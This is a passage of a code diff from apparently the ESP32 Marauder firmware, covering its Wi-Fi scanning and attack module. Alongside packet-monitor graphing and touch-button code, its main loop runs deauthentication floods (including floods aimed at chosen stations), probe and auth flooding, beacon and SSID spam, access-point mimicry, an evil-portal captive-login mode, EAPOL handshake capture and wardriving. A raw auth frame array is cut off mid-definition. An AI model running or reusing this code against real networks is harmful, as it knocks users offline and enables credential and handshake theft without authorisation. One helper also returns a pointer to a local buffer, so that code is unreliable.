+  if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
+    num_eapol++;
+    Serial.println("Received EAPOL:");
+
+  }
+
+  addPacket(snifferPacket, len);
+}
+
+void WiFiScan::addPacket(wifi_promiscuous_pkt_t *snifferPacket, int len) {
+  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
+  if (save_packet) {
+    #ifdef WRITE_PACKETS_SERIAL
+      buffer_obj.addPacket(snifferPacket->payload, len);
+    #elif defined(HAS_SD)
+      sd_obj.addPacket(snifferPacket->payload, len);
+    #else
+      return;
+    #endif
+  }
+}
+
+#ifdef HAS_SCREEN
+  void WiFiScan::eapolMonitorMain(uint32_t currentTime)
+  {
+    //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
+    
+  
+  //  for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
+    for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
+    {
+      currentTime = millis();
+      do_break = false;
+  
+      y_pos_x = 0;
+      y_pos_y = 0;
+      y_pos_z = 0;
+      boolean pressed = false;
+  
+      uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
+  
+      // Do the touch stuff
+      pressed = display_obj.tft.getTouch(&t_x, &t_y);
+  
+      if (pressed) {
+        Serial.print("Got touch | X: ");
+        Serial.print(t_x);
+        Serial.print(" Y: ");
+        Serial.println(t_y);
+      }
+  
+  
+      // Check buttons for presses
+      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
+      {
+        if (pressed && display_obj.key[b].contains(t_x, t_y))
+        {
+          display_obj.key[b].press(true);
+        } else {
+          display_obj.key[b].press(false);
+        }
+      }
+  
+      // Which buttons pressed
+      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
+      {
+        if (display_obj.key[b].justPressed())
+        {
+          Serial.println("Bro, key pressed");
+          //do_break = true;
+        }
+  
+        if (display_obj.key[b].justReleased())
+        {
+          do_break = true;
+  
+          // Channel - button pressed
+          if (b == 4) {
+            if (set_channel > 1) {
+              Serial.println("Shit channel down");
+              set_channel--;
+              delay(70);
+              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+              display_obj.tftDrawChannelScaleButtons(set_channel);
+              display_obj.tftDrawExitScaleButtons();
+              changeChannel();
+              break;
+            }
+          }
+  
+          // Channel + button pressed
+          else if (b == 5) {
+            if (set_channel < MAX_CHANNEL) {
+              Serial.println("Shit channel up");
+              set_channel++;
+              delay(70);
+              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+              display_obj.tftDrawChannelScaleButtons(set_channel);
+              display_obj.tftDrawExitScaleButtons();
+              changeChannel();
+              break;
+            }
+          }
+          else if (b == 6) {
+            Serial.println("Exiting packet monitor...");
+            this->StartScan(WIFI_SCAN_OFF);
+            //display_obj.tft.init();
+            this->orient_display = true;
+            return;
+          }
+        }
+      }
+  
+      if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
+        x_pos += x_scale;
+        initTime = millis();
+        y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
+        if (y_pos_x >= HEIGHT_1) {
+          Serial.println("Max EAPOL number reached. Adjusting...");
+          num_eapol = 0;
+        }
+  
+        //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
+        //Plot "X" value
+        display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
+  
+        //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
+        if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
+        {
+          display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
+        }
+        else
+        {
+          display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
+        }
+        if (x_pos < 0) // below x axis
+        {
+          //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
+          display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
+        }
+        else
+        {
+          //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
+          display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
+        }
+  
+        //tftDisplayTime();
+  
+        if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
+        {
+          display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
+        }
+  
+        y_pos_x_old = y_pos_x; //set old y pos values to current y pos values 
+        //y_pos_y_old = y_pos_y;
+        //y_pos_z_old = y_pos_z;
+  
+        //delay(50);
+      }
+  
+      sd_obj.main();
+  
+    }
+  
+    display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
+    display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
+    display_obj.tftDrawChannelScaleButtons(set_channel);
+    display_obj.tftDrawExitScaleButtons();
+    display_obj.tftDrawEapolColorKey();
+    display_obj.tftDrawGraphObjects(x_scale);
+  }
+
+  void WiFiScan::packetMonitorMain(uint32_t currentTime)
+  {
+    //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
+    
+    
+  //  for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
+    for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
+    {
+      currentTime = millis();
+      do_break = false;
+      
+      y_pos_x = 0;
+      y_pos_y = 0;
+      y_pos_z = 0;
+      boolean pressed = false;
+      
+      uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
+  
+      // Do the touch stuff
+      pressed = display_obj.tft.getTouch(&t_x, &t_y);
+  
+      if (pressed) {
+        Serial.print("Got touch | X: ");
+        Serial.print(t_x);
+        Serial.print(" Y: ");
+        Serial.println(t_y);
+      }
+  
+  
+      // Check buttons for presses
+      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
+      {
+        if (pressed && display_obj.key[b].contains(t_x, t_y))
+        {
+          display_obj.key[b].press(true);
+        } else {
+          display_obj.key[b].press(false);
+        }
+      }
+      
+      // Which buttons pressed
+      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
+      {
+        if (display_obj.key[b].justPressed())
+        {
+          Serial.println("Bro, key pressed");
+          //do_break = true;
+        }
+  
+        if (display_obj.key[b].justReleased())
+        {
+          do_break = true;
+          
+          // X - button pressed
+          if (b == 0) {
+            if (x_scale > 1) {
+              x_scale--;
+              delay(70);
+              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+              display_obj.tftDrawXScaleButtons(x_scale);
+              display_obj.tftDrawYScaleButtons(y_scale);
+              display_obj.tftDrawChannelScaleButtons(set_channel);
+              display_obj.tftDrawExitScaleButtons();
+              break;
+            }
+          }
+          // X + button pressed
+          else if (b == 1) {
+            if (x_scale < 6) {
+              x_scale++;
+              delay(70);
+              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+              display_obj.tftDrawXScaleButtons(x_scale);
+              display_obj.tftDrawYScaleButtons(y_scale);
+              display_obj.tftDrawChannelScaleButtons(set_channel);
+              display_obj.tftDrawExitScaleButtons();
+              break;
+            }
+          }
+  
+          // Y - button pressed
+          else if (b == 2) {
+            if (y_scale > 1) {
+              y_scale--;
+              delay(70);
+              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+              display_obj.tftDrawXScaleButtons(x_scale);
+              display_obj.tftDrawYScaleButtons(y_scale);
+              display_obj.tftDrawChannelScaleButtons(set_channel);
+              display_obj.tftDrawExitScaleButtons();
+              //updateMidway();
+              break;
+            }
+          }
+  
+          // Y + button pressed
+          else if (b == 3) {
+            if (y_scale < 9) {
+              y_scale++;
+              delay(70);
+              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+              display_obj.tftDrawXScaleButtons(x_scale);
+              display_obj.tftDrawYScaleButtons(y_scale);
+              display_obj.tftDrawChannelScaleButtons(set_channel);
+              display_obj.tftDrawExitScaleButtons();
+              //updateMidway();
+              break;
+            }
+          }
+  
+          // Channel - button pressed
+          else if (b == 4) {
+            if (set_channel > 1) {
+              Serial.println("Shit channel down");
+              set_channel--;
+              delay(70);
+              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+              display_obj.tftDrawXScaleButtons(x_scale);
+              display_obj.tftDrawYScaleButtons(y_scale);
+              display_obj.tftDrawChannelScaleButtons(set_channel);
+              display_obj.tftDrawExitScaleButtons();
+              changeChannel();
+              break;
+            }
+          }
+  
+          // Channel + button pressed
+          else if (b == 5) {
+            if (set_channel < MAX_CHANNEL) {
+              Serial.println("Shit channel up");
+              set_channel++;
+              delay(70);
+              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+              display_obj.tftDrawXScaleButtons(x_scale);
+              display_obj.tftDrawYScaleButtons(y_scale);
+              display_obj.tftDrawChannelScaleButtons(set_channel);
+              display_obj.tftDrawExitScaleButtons();
+              changeChannel();
+              break;
+            }
+          }
+          else if (b == 6) {
+            Serial.println("Exiting packet monitor...");
+            this->StartScan(WIFI_SCAN_OFF);
+            //display_obj.tft.init();
+            this->orient_display = true;
+            return;
+          }
+        }
+      }
+  
+      if (currentTime - initTime >= GRAPH_REFRESH) {
+        //Serial.println("-----------------------------------------");
+        //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
+        x_pos += x_scale;
+        initTime = millis();
+        y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
+        y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
+        y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
+  
+        //Serial.println("num_beacon: " + (String)num_beacon);
+        //Serial.println("num_deauth: " + (String)num_deauth);
+        //Serial.println(" num_probe: " + (String)num_probe);
+    
+        num_beacon = 0;
+        num_probe = 0;
+        num_deauth = 0;
+        
+        //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
+        //Plot "X" value
+        display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
+        //Plot "Z" value
+        display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
+        //Plot "Y" value
+        display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
+        
+        //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
+        //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
+        if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
+        {
+          display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
+        }
+        else
+        {
+          display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
+        }
+        //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
+        //if (x_pos <= 90)
+        if (x_pos < 0) // below x axis
+        {
+          //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
+          display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
+        }
+        else
+        {
+          //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
+          display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
+        }
+        
+        //tftDisplayTime();
+        
+        if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
+        {
+          display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
+        }
+         
+        y_pos_x_old = y_pos_x; //set old y pos values to current y pos values 
+        y_pos_y_old = y_pos_y;
+        y_pos_z_old = y_pos_z;
+    
+        //delay(50);
+      }
+  
+      sd_obj.main();
+     
+    }
+    
+    display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
+    //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
+    display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
+    
+    display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
+    display_obj.tftDrawYScaleButtons(y_scale);
+    display_obj.tftDrawChannelScaleButtons(set_channel);
+    display_obj.tftDrawExitScaleButtons();
+    display_obj.tftDrawColorKey();
+    display_obj.tftDrawGraphObjects(x_scale);
+  }
+#endif
+
+//void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
+//  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+//  showMetadata(snifferPacket, type);
+//}
+
+void WiFiScan::changeChannel(int chan) {
+  this->set_channel = chan;
+  esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);
+}
+
+void WiFiScan::changeChannel()
+{
+  esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);
+}
+
+// Function to cycle to the next channel
+void WiFiScan::channelHop()
+{
+  this->set_channel = this->set_channel + 1;
+  if (this->set_channel > 13) {
+    this->set_channel = 1;
+  }
+  esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);
+}
+
+char* WiFiScan::stringToChar(String string) {
+  char buf[string.length() + 1] = {};
+  string.toCharArray(buf, string.length() + 1);
+
+  return buf;
+}
+
+
+// Function for updating scan status
+void WiFiScan::main(uint32_t currentTime)
+{
+  // WiFi operations
+  if ((currentScanMode == WIFI_SCAN_PROBE) ||
+  (currentScanMode == WIFI_SCAN_AP) ||
+  (currentScanMode == WIFI_SCAN_STATION) ||
+  (currentScanMode == WIFI_SCAN_SIG_STREN) ||
+  (currentScanMode == WIFI_SCAN_TARGET_AP) ||
+  (currentScanMode == WIFI_SCAN_PWN) ||
+  (currentScanMode == WIFI_SCAN_DEAUTH) ||
+  (currentScanMode == WIFI_SCAN_ALL))
+  {
+    if (currentTime - initTime >= this->channel_hop_delay * 1000)
+    {
+      initTime = millis();
+      channelHop();
+    }
+  }
+  else if (currentScanMode == WIFI_SCAN_WAR_DRIVE) {
+    if (currentTime - initTime >= this->channel_hop_delay * 1000)
+    {
+      initTime = millis();
+      #ifdef HAS_GPS
+        if (gps_obj.getGpsModuleStatus())
+          this->executeWarDrive();
+      #endif
+    }
+  }
+  else if (currentScanMode == WIFI_SCAN_GPS_DATA) {
+    if (currentTime - initTime >= 5000) {
+      this->initTime = millis();
+      this->RunGPSInfo();
+    }
+  }
+  else if (currentScanMode == WIFI_SCAN_EVIL_PORTAL) {
+    evil_portal_obj.main(currentScanMode);
+  }
+  else if (currentScanMode == WIFI_PACKET_MONITOR)
+  {
+    #ifdef HAS_SCREEN
+      #ifdef HAS_ILI9341
+        packetMonitorMain(currentTime);
+      #endif
+    #endif
+  }
+  else if (currentScanMode == WIFI_SCAN_EAPOL)
+  {
+    #ifdef HAS_SCREEN
+      #ifdef HAS_ILI9341
+        eapolMonitorMain(currentTime);
+      #endif
+    #endif
+  }
+  else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
+  {
+    #ifdef HAS_SCREEN
+      eapolMonitorMain(currentTime);
+    #endif
+  }
+  else if (currentScanMode == WIFI_SCAN_ACTIVE_LIST_EAPOL) {
+    if (currentTime - initTime >= this->channel_hop_delay * 1000)
+    {
+      initTime = millis();
+      channelHop();
+    }
+    #ifdef HAS_SCREEN
+      eapolMonitorMain(currentTime);
+    #endif    
+  }
+  else if (currentScanMode == WIFI_ATTACK_AUTH) {
+    for (int i = 0; i < 55; i++)
+      this->sendProbeAttack(currentTime);
+
+    if (currentTime - initTime >= 1000) {
+      initTime = millis();
+      String displayString = "";
+      String displayString2 = "";
+      displayString.concat(text18);
+      displayString.concat(packets_sent);
+      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+        displayString2.concat(" ");
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+        display_obj.showCenterText(displayString2, 160);
+        display_obj.showCenterText(displayString, 160);
+      #endif
+      packets_sent = 0;
+    }
+  }
+  else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
+    for (int i = 0; i < 55; i++)
+      this->sendDeauthAttack(currentTime, this->dst_mac);
+
+    if (currentTime - initTime >= 1000) {
+      initTime = millis();
+      String displayString = "";
+      String displayString2 = "";
+      displayString.concat(text18);
+      displayString.concat(packets_sent);
+      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+        displayString2.concat(" ");
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+        display_obj.showCenterText(displayString2, 160);
+        display_obj.showCenterText(displayString, 160);
+      #endif
+      packets_sent = 0;
+    }
+  }
+  else if (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) {
+    for (int i = 0; i < 55; i++)
+      this->sendDeauthFrame(this->src_mac, this->set_channel, this->dst_mac);
+
+    if (currentTime - initTime >= 1000) {
+      initTime = millis();
+      String displayString = "";
+      String displayString2 = "";
+      displayString.concat(text18);
+      displayString.concat(packets_sent);
+      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+        displayString2.concat(" ");
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+        display_obj.showCenterText(displayString2, 160);
+        display_obj.showCenterText(displayString, 160);
+      #endif
+      packets_sent = 0;
+    }
+  }
+  else if (currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) {
+    // Loop through each AP
+    for (int x = 0; x < access_points->size(); x++) {
+      // Only get selected APs
+      if (access_points->get(x).selected) {
+        AccessPoint cur_ap = access_points->get(x);
+        // Loop through each AP's Station
+        for (int i = 0; i < cur_ap.stations->size(); i++) {
+          // Only get selected Stations
+          if (stations->get(cur_ap.stations->get(i)).selected) {
+            Station cur_sta = stations->get(cur_ap.stations->get(i));
+
+            // Send deauths for each selected AP's selected Station
+            for (int y = 0; y < 25; y++)
+              this->sendDeauthFrame(cur_ap.bssid, cur_ap.channel, cur_sta.mac);
+
+            // Display packets sent on screen
+            if (currentTime - initTime >= 1000) {
+              initTime = millis();
+              String displayString = "";
+              String displayString2 = "";
+              displayString.concat(text18);
+              displayString.concat(packets_sent);
+              for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+                displayString2.concat(" ");
+              #ifdef HAS_SCREEN
+                display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+                display_obj.showCenterText(displayString2, 160);
+                display_obj.showCenterText(displayString, 160);
+              #endif
+              packets_sent = 0;
+            }
+          }
+        }
+      }
+    }
+  }
+  else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
+    // Need this for loop because getTouch causes ~10ms delay
+    // which makes beacon spam less effective
+    for (int i = 0; i < access_points->size(); i++) {
+      if (access_points->get(i).selected)
+        this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, random(1, 12), {random(256), 
+                                                                                                   random(256),
+                                                                                                   random(256),
+                                                                                                   random(256),
+                                                                                                   random(256),
+                                                                                                   random(256)}});
+    }
+      
+
+    if (currentTime - initTime >= 1000)
+    {
+      initTime = millis();
+      //Serial.print("packets/sec: ");
+      //Serial.println(packets_sent);
+      String displayString = "";
+      String displayString2 = "";
+      displayString.concat(text18);
+      displayString.concat(packets_sent);
+      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+        displayString2.concat(" ");
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+        display_obj.showCenterText(displayString2, 160);
+        display_obj.showCenterText(displayString, 160);
+      #endif
+      packets_sent = 0;
+    }
+  }
+  else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
+  {
+    // Need this for loop because getTouch causes ~10ms delay
+    // which makes beacon spam less effective
+    for (int i = 0; i < 55; i++)
+      broadcastRandomSSID(currentTime);
+
+    if (currentTime - initTime >= 1000)
+    {
+      initTime = millis();
+      //Serial.print("packets/sec: ");
+      //Serial.println(packets_sent);
+      String displayString = "";
+      String displayString2 = "";
+      displayString.concat(text18);
+      displayString.concat(packets_sent);
+      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+        displayString2.concat(" ");
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+        display_obj.showCenterText(displayString2, 160);
+        display_obj.showCenterText(displayString, 160);
+      #endif
+      packets_sent = 0;
+    }
+  }
+  else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
+    for (int i = 0; i < ssids->size(); i++)
+      this->broadcastCustomBeacon(currentTime, ssids->get(i));
+
+    if (currentTime - initTime >= 1000)
+    {
+      initTime = millis();
+      packets_sent = 0;
+    }
+  }
+  else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
+    for (int i = 0; i < access_points->size(); i++) {
+      if (access_points->get(i).selected)
+        this->broadcastCustomBeacon(currentTime, access_points->get(i));
+    }
+
+    if (currentTime - initTime >= 1000) {
+      initTime = millis();
+      packets_sent = 0;
+    }
+  }
+  else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
+  {
+    // Need this for loop because getTouch causes ~10ms delay
+    // which makes beacon spam less effective
+    for (int i = 0; i < 7; i++)
+    {
+      for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
+      {
+        broadcastSetSSID(currentTime, rick_roll[x]);
+      }
+    }
+
+    if (currentTime - initTime >= 1000)
+    {
+      initTime = millis();
+      //Serial.print("packets/sec: ");
+      //Serial.println(packets_sent);
+      String displayString = "";
+      String displayString2 = "";
+      displayString.concat(text18);
+      displayString.concat(packets_sent);
+      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+        displayString2.concat(" ");
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+        display_obj.showCenterText(displayString2, 160);
+        display_obj.showCenterText(displayString, 160);
+      #endif
+      packets_sent = 0;
+    }
+  }
+}

+ 76 - 68
esp32cam_marauder/WiFiScan.h

@@ -3,18 +3,14 @@
 
 
 #include "configs.h"
 #include "configs.h"
 
 
-//#include <BLEDevice.h>
-//#include <BLEUtils.h>
-//#include <BLEScan.h>
-//#include <BLEAdvertisedDevice.h>
 #include <ArduinoJson.h>
 #include <ArduinoJson.h>
 
 
-// Testing NimBLE
 #ifdef HAS_BT
 #ifdef HAS_BT
   #include <NimBLEDevice.h>
   #include <NimBLEDevice.h>
 #endif
 #endif
 
 
 #include <WiFi.h>
 #include <WiFi.h>
+#include "EvilPortal.h"
 #include <math.h>
 #include <math.h>
 #include "esp_wifi.h"
 #include "esp_wifi.h"
 #include "esp_wifi_types.h"
 #include "esp_wifi_types.h"
@@ -24,15 +20,25 @@
 #ifdef HAS_SCREEN
 #ifdef HAS_SCREEN
   #include "Display.h"
   #include "Display.h"
 #endif
 #endif
-#include "SDInterface.h"
+#ifdef HAS_SD
+  #include "SDInterface.h"
+#endif
 #include "Buffer.h"
 #include "Buffer.h"
-#include "BatteryInterface.h"
-#include "TemperatureInterface.h"
+#ifdef HAS_BATTERY
+  #include "BatteryInterface.h"
+#endif
+#ifdef HAS_GPS
+  #include "GpsInterface.h"
+#endif
 #include "settings.h"
 #include "settings.h"
 #include "Assets.h"
 #include "Assets.h"
-#include "flipperLED.h"
-#include "LedInterface.h"
-//#include "MenuFunctions.h"
+#ifdef MARAUDER_FLIPPER
+  #include "flipperLED.h"
+#elif defined(XIAO_ESP32_S3)
+  #include "xiaoLED.h"
+#else
+  #include "LedInterface.h"
+#endif
 
 
 #define bad_list_length 3
 #define bad_list_length 3
 
 
@@ -67,33 +73,50 @@
 #define WIFI_SCAN_RAW_CAPTURE 25
 #define WIFI_SCAN_RAW_CAPTURE 25
 #define WIFI_SCAN_STATION 26
 #define WIFI_SCAN_STATION 26
 #define WIFI_ATTACK_DEAUTH_TARGETED 27
 #define WIFI_ATTACK_DEAUTH_TARGETED 27
+#define WIFI_SCAN_ACTIVE_LIST_EAPOL 28
+#define WIFI_SCAN_SIG_STREN 29
+#define WIFI_SCAN_EVIL_PORTAL 30
+#define WIFI_SCAN_GPS_DATA 31
+#define WIFI_SCAN_WAR_DRIVE 32
 
 
 #define GRAPH_REFRESH 100
 #define GRAPH_REFRESH 100
 
 
 #define MAX_CHANNEL 14
 #define MAX_CHANNEL 14
 
 
+extern EvilPortal evil_portal_obj;
+
 #ifdef HAS_SCREEN
 #ifdef HAS_SCREEN
   extern Display display_obj;
   extern Display display_obj;
 #endif
 #endif
-extern SDInterface sd_obj;
+#ifdef HAS_SD
+  extern SDInterface sd_obj;
+#endif
+#ifdef HAS_GPS
+  extern GpsInterface gps_obj;
+#endif
 extern Buffer buffer_obj;
 extern Buffer buffer_obj;
-extern BatteryInterface battery_obj;
-extern TemperatureInterface temp_obj;
+#ifdef HAS_BATTERY
+  extern BatteryInterface battery_obj;
+#endif
 extern Settings settings_obj;
 extern Settings settings_obj;
-extern flipperLED flipper_led;
-extern LedInterface led_obj;
+#ifdef MARAUDER_FLIPPER
+  extern flipperLED flipper_led;
+#elif defined(XIAO_ESP32_S3)
+  extern xiaoLED xiao_led;
+#else
+  extern LedInterface led_obj;
+#endif
 
 
 esp_err_t esp_wifi_80211_tx(wifi_interface_t ifx, const void *buffer, int len, bool en_sys_seq);
 esp_err_t esp_wifi_80211_tx(wifi_interface_t ifx, const void *buffer, int len, bool en_sys_seq);
-//int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3);
 
 
-struct ssid {
+/*struct ssid {
   String essid;
   String essid;
-  int channel;
+  uint8_t channel;
   int bssid[6];
   int bssid[6];
   bool selected;
   bool selected;
-};
+};*/
 
 
-struct AccessPoint {
+/*struct AccessPoint {
   String essid;
   String essid;
   int channel;
   int channel;
   int bssid[6];
   int bssid[6];
@@ -101,6 +124,11 @@ struct AccessPoint {
   LinkedList<char>* beacon;
   LinkedList<char>* beacon;
   int rssi;
   int rssi;
   LinkedList<int>* stations;
   LinkedList<int>* stations;
+};*/
+
+
+struct mac_addr {
+   unsigned char bytes[6];
 };
 };
 
 
 struct Station {
 struct Station {
@@ -111,8 +139,12 @@ struct Station {
 class WiFiScan
 class WiFiScan
 {
 {
   private:
   private:
+    // Wardriver thanks to https://github.com/JosephHewitt
+    struct mac_addr mac_history[mac_history_len];
+
     // Settings
     // Settings
-    int channel_hop_delay = 1;
+    uint mac_history_cursor = 0;
+    uint8_t channel_hop_delay = 1;
     bool force_pmkid = false;
     bool force_pmkid = false;
     bool force_probe = false;
     bool force_probe = false;
     bool save_pcap = false;
     bool save_pcap = false;
@@ -139,7 +171,7 @@ class WiFiScan
     uint32_t initTime = 0;
     uint32_t initTime = 0;
     bool run_setup = true;
     bool run_setup = true;
     void initWiFi(uint8_t scan_mode);
     void initWiFi(uint8_t scan_mode);
-    int bluetoothScanTime = 5;
+    uint8_t bluetoothScanTime = 5;
     int packets_sent = 0;
     int packets_sent = 0;
     const wifi_promiscuous_filter_t filt = {.filter_mask=WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA};
     const wifi_promiscuous_filter_t filt = {.filter_mask=WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA};
     #ifdef HAS_BT
     #ifdef HAS_BT
@@ -147,9 +179,9 @@ class WiFiScan
     #endif
     #endif
 
 
     //String connected_network = "";
     //String connected_network = "";
-    String alfa = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_";
+    const String alfa = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_";
 
 
-    char* rick_roll[8] = {
+    const char* rick_roll[8] = {
       "01 Never gonna give you up",
       "01 Never gonna give you up",
       "02 Never gonna let you down",
       "02 Never gonna let you down",
       "03 Never gonna run around",
       "03 Never gonna run around",
@@ -191,32 +223,6 @@ class WiFiScan
                     /*36*/  0x00
                     /*36*/  0x00
                     };
                     };
 
 
-    /*uint8_t auth_packet[128] = {0xB0, 0x00, 0x3C, 0x00, // Frame Control, Duration
-                                0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Dest
-                                0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
-                                0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Dest BSSID
-                                0x00, 0x01, // Sequence number
-                                0x00, 0x00, // Algo
-                                0x01, 0x00, // Auth sequence number
-                                0x00, 0x00, // Status Code
-                                0x7F, 0x08,
-                                0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x40,
-                                0xDD, 0x0B, 0x00, 0x17, 0xF2, 0x0A, 0x00, 0x01, // Say it was Apple
-                                0x04, 0x00, 0x00, 0x00, 0x00, 0xDD, 0x0A, 0x00,
-                                0x10, 0x18, 0x02, 0x00, 0x00, 0x10, 0x00, 0x00,
-                                0x00
-                                };*/
-    uint8_t auth_packet[65] = {0xb0, 0x00, 0x3c, 0x00, 
